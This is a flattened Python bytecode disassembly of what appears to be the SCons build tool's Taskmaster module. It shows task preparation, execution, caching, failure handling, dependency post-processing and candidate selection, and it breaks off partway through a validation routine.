CALL_METHOD POP_TOP SETUP_LOOP to 214 LOAD_FAST executor LOAD_METHOD get_action_targets CALL_METHOD GET_ITER FOR_ITER to 212 STORE_FAST t LOAD_GLOBAL print_prepare POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'Preparing target %s...' LOAD_FAST t BINARY_MODULO CALL_FUNCTION POP_TOP SETUP_LOOP to 162 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 160 STORE_FAST s LOAD_GLOBAL print LOAD_CONST '...with side-effect %s...' LOAD_FAST s BINARY_MODULO CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST t LOAD_METHOD prepare CALL_METHOD POP_TOP SETUP_LOOP to 210 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 208 STORE_FAST s LOAD_GLOBAL print_prepare POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST '...Preparing side-effect %s...' LOAD_FAST s BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_FAST s LOAD_METHOD prepare CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR node RETURN_VALUE LOAD_CONST 'Taskmaster.Task is an abstract base class; instead of\n\tusing it directly, derive from it and override the abstract methods.' STORE_FAST msg LOAD_GLOBAL SCons LOAD_ATTR Warnings LOAD_METHOD warn LOAD_GLOBAL SCons LOAD_ATTR Warnings LOAD_ATTR TaskmasterNeedsExecuteWarning LOAD_FAST msg CALL_METHOD POP_TOP LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.execute()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP SETUP_EXCEPT to 192 BUILD_LIST STORE_FAST cached_targets SETUP_LOOP to 74 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 72 STORE_FAST t LOAD_FAST t LOAD_METHOD retrieve_from_cache CALL_METHOD POP_JUMP_IF_TRUE BREAK_LOOP LOAD_FAST cached_targets LOAD_METHOD append LOAD_FAST t CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST cached_targets CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR targets CALL_FUNCTION COMPARE_OP < POP_JUMP_IF_FALSE SETUP_LOOP to 152 LOAD_FAST cached_targets GET_ITER FOR_ITER to 150 STORE_FAST t SETUP_EXCEPT to 124 LOAD_FAST t LOAD_ATTR fs LOAD_METHOD unlink LOAD_FAST t LOAD_METHOD get_internal_path CALL_METHOD CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL IOError LOAD_GLOBAL OSError BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR targets LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD build CALL_METHOD POP_TOP JUMP_FORWARD to 188 SETUP_LOOP to 188 LOAD_FAST cached_targets GET_ITER FOR_ITER to 186 STORE_FAST t LOAD_CONST 1 LOAD_FAST t STORE_ATTR cached JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 370 DUP_TOP LOAD_GLOBAL SystemExit COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR STORE_FAST exc_value LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_METHOD ExplicitExit LOAD_FAST self LOAD_ATTR targets LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST exc_value LOAD_ATTR code CALL_METHOD RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 370 DUP_TOP LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_ATTR UserError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 370 DUP_TOP LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_ATTR BuildError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 370 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 356 LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_METHOD convert_to_BuildError LOAD_FAST e CALL_METHOD STORE_FAST buildError LOAD_FAST self LOAD_ATTR targets LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST buildError STORE_ATTR node LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_FAST buildError STORE_ATTR exc_info LOAD_FAST buildError RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 370 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.executed_without_callbacks()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP SETUP_LOOP to 96 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 94 STORE_FAST t LOAD_FAST t LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_EXECUTING COMPARE_OP == POP_JUMP_IF_FALSE SETUP_LOOP to 82 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 80 STORE_FAST side_effect LOAD_FAST side_effect LOAD_METHOD set_state LOAD_GLOBAL NODE_NO_STATE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST t LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTED CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.executed_with_callbacks()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP SETUP_LOOP to 166 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 164 STORE_FAST t LOAD_FAST t LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_EXECUTING COMPARE_OP == POP_JUMP_IF_FALSE SETUP_LOOP to 82 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 80 STORE_FAST side_effect LOAD_FAST side_effect LOAD_METHOD set_state LOAD_GLOBAL NODE_NO_STATE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST t LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTED CALL_METHOD POP_TOP LOAD_FAST t LOAD_ATTR cached POP_JUMP_IF_TRUE LOAD_FAST t LOAD_METHOD push_to_cache CALL_METHOD POP_TOP LOAD_FAST t LOAD_METHOD built CALL_METHOD POP_TOP LOAD_FAST t LOAD_METHOD visited CALL_METHOD POP_TOP LOAD_GLOBAL print_prepare POP_JUMP_IF_TRUE LOAD_GLOBAL hasattr LOAD_FAST self LOAD_CONST 'options' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR options LOAD_ATTR debug_includes POP_JUMP_IF_TRUE LOAD_FAST t LOAD_METHOD release_target_info CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST t LOAD_METHOD visited CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD fail_stop CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.failed_stop()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR tm LOAD_METHOD will_not_build LOAD_FAST self LOAD_ATTR targets LOAD_CONST <code object <lambda> at 0x7fab4107c300, file "f.py", line 310> LOAD_CONST 'Task.fail_stop.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR tm LOAD_METHOD stop CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR tm LOAD_ATTR current_top BUILD_LIST LOAD_FAST self STORE_ATTR targets LOAD_CONST 1 LOAD_FAST self STORE_ATTR top LOAD_CONST None RETURN_VALUE LOAD_FAST n LOAD_METHOD set_state LOAD_GLOBAL NODE_FAILED CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.failed_continue()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR tm LOAD_METHOD will_not_build LOAD_FAST self LOAD_ATTR targets LOAD_CONST <code object <lambda> at 0x7fab4107c420, file "f.py", line 332> LOAD_CONST 'Task.fail_continue.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST n LOAD_METHOD set_state LOAD_GLOBAL NODE_FAILED CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.make_ready_all()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR targets LOAD_CONST None LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST self STORE_ATTR out_of_date SETUP_LOOP to 108 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 106 STORE_FAST t LOAD_FAST t LOAD_METHOD disambiguate CALL_METHOD LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTING CALL_METHOD POP_TOP SETUP_LOOP to 104 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 102 STORE_FAST s LOAD_FAST s LOAD_METHOD disambiguate CALL_METHOD LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTING CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.make_ready_current()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR out_of_date LOAD_CONST False STORE_FAST needs_executing SETUP_LOOP to 178 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 176 STORE_FAST t SETUP_EXCEPT to 98 LOAD_FAST t LOAD_METHOD disambiguate CALL_METHOD LOAD_METHOD make_ready CALL_METHOD POP_TOP LOAD_FAST t LOAD_METHOD has_builder CALL_METHOD UNARY_NOT JUMP_IF_TRUE_OR_POP LOAD_FAST t LOAD_ATTR always_build UNARY_NOT JUMP_IF_FALSE_OR_POP LOAD_FAST t LOAD_METHOD is_up_to_date CALL_METHOD STORE_FAST is_up_to_date POP_BLOCK JUMP_FORWARD to 154 DUP_TOP LOAD_GLOBAL EnvironmentError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 140 LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_ATTR BuildError LOAD_FAST t LOAD_FAST e LOAD_ATTR strerror LOAD_FAST e LOAD_ATTR filename LOAD_CONST ('node', 'errstr', 'filename') CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 154 END_FINALLY LOAD_FAST is_up_to_date POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR out_of_date LOAD_METHOD append LOAD_FAST t CALL_METHOD POP_TOP LOAD_CONST True STORE_FAST needs_executing JUMP_ABSOLUTE POP_BLOCK LOAD_FAST needs_executing POP_JUMP_IF_FALSE SETUP_LOOP to 306 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 236 STORE_FAST t LOAD_FAST t LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTING CALL_METHOD POP_TOP SETUP_LOOP to 234 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 232 STORE_FAST s LOAD_FAST s LOAD_METHOD disambiguate CALL_METHOD LOAD_METHOD set_state LOAD_GLOBAL NODE_EXECUTING CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 306 SETUP_LOOP to 306 LOAD_FAST self LOAD_ATTR targets GET_ITER FOR_ITER to 304 STORE_FAST t LOAD_FAST t LOAD_METHOD visited CALL_METHOD POP_TOP LOAD_FAST t LOAD_METHOD set_state LOAD_GLOBAL NODE_UP_TO_DATE CALL_METHOD POP_TOP LOAD_GLOBAL print_prepare POP_JUMP_IF_TRUE LOAD_GLOBAL hasattr LOAD_FAST self LOAD_CONST 'options' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR options LOAD_ATTR debug_includes POP_JUMP_IF_TRUE LOAD_FAST t LOAD_METHOD release_target_info CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.postprocess()' LOAD_FAST self LOAD_ATTR node CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL set LOAD_FAST self LOAD_ATTR targets CALL_FUNCTION STORE_FAST targets LOAD_FAST self LOAD_ATTR tm LOAD_ATTR pending_children STORE_FAST pending_children BUILD_MAP STORE_FAST parents SETUP_LOOP to 152 LOAD_FAST targets GET_ITER FOR_ITER to 150 STORE_FAST t LOAD_FAST t LOAD_ATTR waiting_parents POP_JUMP_IF_FALSE LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.postprocess()' LOAD_FAST t LOAD_CONST 'removing' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST pending_children LOAD_METHOD discard LOAD_FAST t CALL_METHOD POP_TOP SETUP_LOOP to 140 LOAD_FAST t LOAD_ATTR waiting_parents GET_ITER FOR_ITER to 138 STORE_FAST p LOAD_FAST parents LOAD_METHOD get LOAD_FAST p LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 BINARY_ADD LOAD_FAST parents LOAD_FAST p STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST t STORE_ATTR waiting_parents JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 334 LOAD_FAST targets GET_ITER FOR_ITER to 332 STORE_FAST t LOAD_FAST t LOAD_ATTR side_effects LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE SETUP_LOOP to 330 LOAD_FAST t LOAD_ATTR side_effects GET_ITER FOR_ITER to 328 STORE_FAST s LOAD_FAST s LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_EXECUTING COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST s LOAD_METHOD set_state LOAD_GLOBAL NODE_NO_STATE CALL_METHOD POP_TOP LOAD_FAST s LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_NO_STATE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST s LOAD_ATTR waiting_parents EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pending_children LOAD_METHOD discard LOAD_FAST s CALL_METHOD POP_TOP SETUP_LOOP to 274 LOAD_FAST s LOAD_ATTR waiting_parents GET_ITER FOR_ITER to 272 STORE_FAST p LOAD_FAST parents LOAD_METHOD get LOAD_FAST p LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 BINARY_ADD LOAD_FAST parents LOAD_FAST p STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST s STORE_ATTR waiting_parents SETUP_LOOP to 326 LOAD_FAST s LOAD_ATTR waiting_s_e GET_ITER FOR_ITER to 324 STORE_FAST p LOAD_FAST p LOAD_ATTR ref_count LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR candidates LOAD_METHOD append LOAD_FAST p CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 422 LOAD_FAST parents LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 420 UNPACK_SEQUENCE STORE_FAST p STORE_FAST subtract LOAD_FAST p LOAD_ATTR ref_count LOAD_FAST subtract BINARY_SUBTRACT LOAD_FAST p STORE_ATTR ref_count LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Task.postprocess()' LOAD_FAST p LOAD_CONST 'adjusted parent ref count' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST p LOAD_ATTR ref_count LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR tm LOAD_ATTR candidates LOAD_METHOD append LOAD_FAST p CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 446 LOAD_FAST targets GET_ITER FOR_ITER to 444 STORE_FAST t LOAD_FAST t LOAD_METHOD postprocess CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR exception RETURN_VALUE LOAD_CONST (None, None, None) LOAD_FAST self STORE_ATTR exception LOAD_FAST self LOAD_ATTR _no_exception_to_raise LOAD_FAST self STORE_ATTR exception_raise LOAD_CONST None RETURN_VALUE LOAD_FAST exception POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD STORE_FAST exception LOAD_FAST exception LOAD_FAST self STORE_ATTR exception LOAD_FAST self LOAD_ATTR _exception_raise LOAD_FAST self STORE_ATTR exception_raise LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD exc_info CALL_METHOD LOAD_CONST None LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST exc SETUP_EXCEPT to 32 LOAD_FAST exc UNPACK_SEQUENCE STORE_FAST exc_type STORE_FAST exc_value STORE_FAST exc_traceback POP_BLOCK JUMP_FORWARD to 64 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST exc UNPACK_SEQUENCE STORE_FAST exc_type STORE_FAST exc_value LOAD_CONST None STORE_FAST exc_traceback POP_EXCEPT JUMP_FORWARD to 64 END_FINALLY LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL exec LOAD_CONST 'raise exc_type, exc_value, exc_traceback' CALL_FUNCTION POP_TOP JUMP_FORWARD to 116 LOAD_GLOBAL isinstance LOAD_FAST exc_value LOAD_GLOBAL Exception CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL exec LOAD_CONST 'raise exc_value.with_traceback(exc_traceback)' CALL_FUNCTION POP_TOP JUMP_FORWARD to 116 LOAD_GLOBAL exec LOAD_CONST 'raise exc_type(exc_value).with_traceback(exc_traceback)' CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AlwaysTask' STORE_NAME __qualname__ LOAD_CONST <code object needs_execute at 0x7fab40ea61e0, file "f.py", line 507> LOAD_CONST 'AlwaysTask.needs_execute' MAKE_FUNCTION STORE_NAME needs_execute LOAD_CONST None RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OutOfDateTask' STORE_NAME __qualname__ LOAD_CONST <code object needs_execute at 0x7fab40ea6ae0, file "f.py", line 523> LOAD_CONST 'OutOfDateTask.needs_execute' MAKE_FUNCTION STORE_NAME needs_execute LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR targets LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL SCons LOAD_ATTR Node LOAD_ATTR executing COMPARE_OP == RETURN_VALUE LOAD_FAST stack LOAD_CONST -1 BINARY_SUBSCR LOAD_FAST visited COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST visited LOAD_METHOD add LOAD_FAST stack LOAD_CONST -1 BINARY_SUBSCR CALL_METHOD POP_TOP SETUP_LOOP to 102 LOAD_FAST stack LOAD_CONST -1 BINARY_SUBSCR LOAD_ATTR waiting_parents GET_ITER FOR_ITER to 100 STORE_FAST n LOAD_FAST stack LOAD_METHOD append LOAD_FAST n CALL_METHOD POP_TOP LOAD_FAST stack LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST stack LOAD_CONST -1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST stack RETURN_VALUE LOAD_GLOBAL find_cycle LOAD_FAST stack LOAD_FAST visited CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST stack RETURN_VALUE LOAD_FAST stack LOAD_METHOD pop CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Taskmaster' STORE_NAME __qualname__ LOAD_CONST '\n The Taskmaster for walking the dependency DAG.\n ' STORE_NAME __doc__ BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab40ea6300, file "f.py", line 551> LOAD_CONST 'Taskmaster.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object find_next_candidate at 0x7fab40ea6ed0, file "f.py", line 567> LOAD_CONST 'Taskmaster.find_next_candidate' MAKE_FUNCTION STORE_NAME find_next_candidate LOAD_CONST <code object no_next_candidate at 0x7fab40ea6a50, file "f.py", line 603> LOAD_CONST 'Taskmaster.no_next_candidate' MAKE_FUNCTION STORE_NAME no_next_candidate LOAD_CONST <code object _validate_pending_children at 0x7fab54381f60, file "f.py", line 617> LOAD_CONST 'Taskmaster._validate_pending_children' MAKE_FUNCTION STORE_NAME _validate_pending_children LOAD_CONST <code object trace_message at 0x7fab54381390, file "f.py", line 696> LOAD_CONST 'Taskmaster.trace_message' MAKE_FUNCTION STORE_NAME trace_message LOAD_CONST <code object trace_node at 0x7fab54381810, file "f.py", line 699> LOAD_CONST 'Taskmaster.trace_node' MAKE_FUNCTION STORE_NAME trace_node LOAD_CONST <code object _find_next_ready_node at 0x7fab54381300, file "f.py", line 706> LOAD_CONST 'Taskmaster._find_next_ready_node' MAKE_FUNCTION STORE_NAME _find_next_ready_node LOAD_CONST <code object next_task at 0x7fab543818a0, file "f.py", line 878> LOAD_CONST 'Taskmaster.next_task' MAKE_FUNCTION STORE_NAME next_task LOAD_CONST <code object <lambda> at 0x7fab543815d0, file "f.py", line 909> LOAD_CONST 'Taskmaster.<lambda>' MAKE_FUNCTION BUILD_TUPLE LOAD_CONST <code object will_not_build at 0x7fab54381db0, file "f.py", line 909> LOAD_CONST 'Taskmaster.will_not_build' MAKE_FUNCTION STORE_NAME will_not_build LOAD_CONST <code object stop at 0x7fab54381930, file "f.py", line 956> LOAD_CONST 'Taskmaster.stop' MAKE_FUNCTION STORE_NAME stop LOAD_CONST <code object cleanup at 0x7fab54381270, file "f.py", line 962> LOAD_CONST 'Taskmaster.cleanup' MAKE_FUNCTION STORE_NAME cleanup LOAD_CONST None RETURN_VALUE LOAD_FAST targets LOAD_FAST self STORE_ATTR original_top LOAD_FAST targets LOAD_CONST None LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST self STORE_ATTR top_targets_left LOAD_FAST self LOAD_ATTR top_targets_left LOAD_METHOD reverse CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR candidates LOAD_FAST tasker LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL OutOfDateTask STORE_FAST tasker LOAD_FAST tasker LOAD_FAST self STORE_ATTR tasker LOAD_FAST order POP_JUMP_IF_TRUE LOAD_CONST <code object <lambda> at 0x7fab40ea6390, file "f.py", line 560> LOAD_CONST 'Taskmaster.__init__.<locals>.<lambda>' MAKE_FUNCTION STORE_FAST order LOAD_FAST order LOAD_FAST self STORE_ATTR order LOAD_CONST None LOAD_FAST self STORE_ATTR message LOAD_FAST trace LOAD_FAST self STORE_ATTR trace LOAD_FAST self LOAD_ATTR find_next_candidate LOAD_FAST self STORE_ATTR next_candidate LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST self STORE_ATTR pending_children LOAD_CONST None RETURN_VALUE LOAD_FAST l RETURN_VALUE SETUP_EXCEPT to 12 LOAD_FAST self LOAD_ATTR candidates LOAD_METHOD pop CALL_METHOD RETURN_VALUE DUP_TOP LOAD_GLOBAL IndexError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 32 END_FINALLY SETUP_EXCEPT to 48 LOAD_FAST self LOAD_ATTR top_targets_left LOAD_METHOD pop CALL_METHOD STORE_FAST node POP_BLOCK JUMP_FORWARD to 68 DUP_TOP LOAD_GLOBAL IndexError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_FAST node LOAD_FAST self STORE_ATTR current_top LOAD_FAST node LOAD_METHOD alter_targets CALL_METHOD UNPACK_SEQUENCE STORE_FAST alt STORE_FAST message LOAD_FAST alt POP_JUMP_IF_FALSE LOAD_FAST message LOAD_FAST self STORE_ATTR message LOAD_FAST self LOAD_ATTR candidates LOAD_METHOD append LOAD_FAST node CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR candidates LOAD_METHOD extend LOAD_FAST self LOAD_METHOD order LOAD_FAST alt CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR candidates LOAD_METHOD pop CALL_METHOD STORE_FAST node LOAD_FAST node RETURN_VALUE SETUP_LOOP to 34 LOAD_FAST self LOAD_ATTR candidates POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR candidates STORE_FAST candidates BUILD_LIST LOAD_FAST self STORE_ATTR candidates LOAD_FAST self LOAD_METHOD will_not_build LOAD_FAST candidates CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE SETUP_LOOP to 138 LOAD_FAST self LOAD_ATTR pending_children GET_ITER FOR_ITER to 136 STORE_FAST n LOAD_FAST n LOAD_ATTR state LOAD_GLOBAL NODE_PENDING LOAD_GLOBAL NODE_EXECUTING BUILD_TUPLE COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL str LOAD_FAST n CALL_FUNCTION LOAD_GLOBAL StateString LOAD_FAST n LOAD_ATTR state BINARY_SUBSCR BUILD_TUPLE CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST n LOAD_ATTR waiting_parents CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL str LOAD_FAST n CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST n LOAD_ATTR waiting_parents CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 134 LOAD_FAST n LOAD_ATTR waiting_parents GET_ITER FOR_ITER to 132 STORE_FAST p LOAD_FAST p LOAD_ATTR ref_count 